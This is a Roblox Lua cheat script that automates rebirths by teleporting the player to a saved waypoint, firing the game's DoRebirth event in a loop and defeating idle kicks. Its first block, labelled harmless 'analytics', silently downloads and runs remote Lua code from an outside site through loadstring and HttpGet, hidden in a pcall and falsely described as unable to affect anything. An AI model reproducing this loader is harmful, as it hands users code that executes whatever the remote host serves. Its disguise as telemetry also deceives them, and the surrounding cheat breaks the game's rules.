--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a4a9ed57f4e44494ea6714f"))() end) end) --[[rscripts:analytics:end]] local plrs = game:GetService("Players") local uis = game:GetService("UserInputService") local vu = game:GetService("VirtualUser") local rebirthEvt = game:GetService("ReplicatedStorage").DoRebirth local me = plrs.LocalPlayer local toggled = false local waypoint = nil local function alert(msg) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Auto Rebirth", Text = msg, Duration = 2 }) end local function getRoot() local char = me.Character return char and char:FindFirstChild("HumanoidRootPart") end plrs.LocalPlayer.Idled:Connect(function() vu:CaptureController() vu:ClickButton2(Vector2.new()) end) uis.InputBegan:Connect(function(key, typing) if typing then return end if key.KeyCode == Enum.KeyCode.L then if waypoint then waypoint = nil alert("Waypoint cleared") else local root = getRoot() if root then waypoint = root.CFrame alert("Waypoint set") else alert("Can't find character") end end end if key.KeyCode == Enum.KeyCode.K then if not toggled and not waypoint then alert("Set waypoint first") return end toggled = not toggled if toggled then alert("Enabled") task.spawn(function() while toggled do local root = getRoot() if root and waypoint then root.CFrame = waypoint end rebirthEvt:FireServer() task.wait() end end) else alert("Disabled") end end end)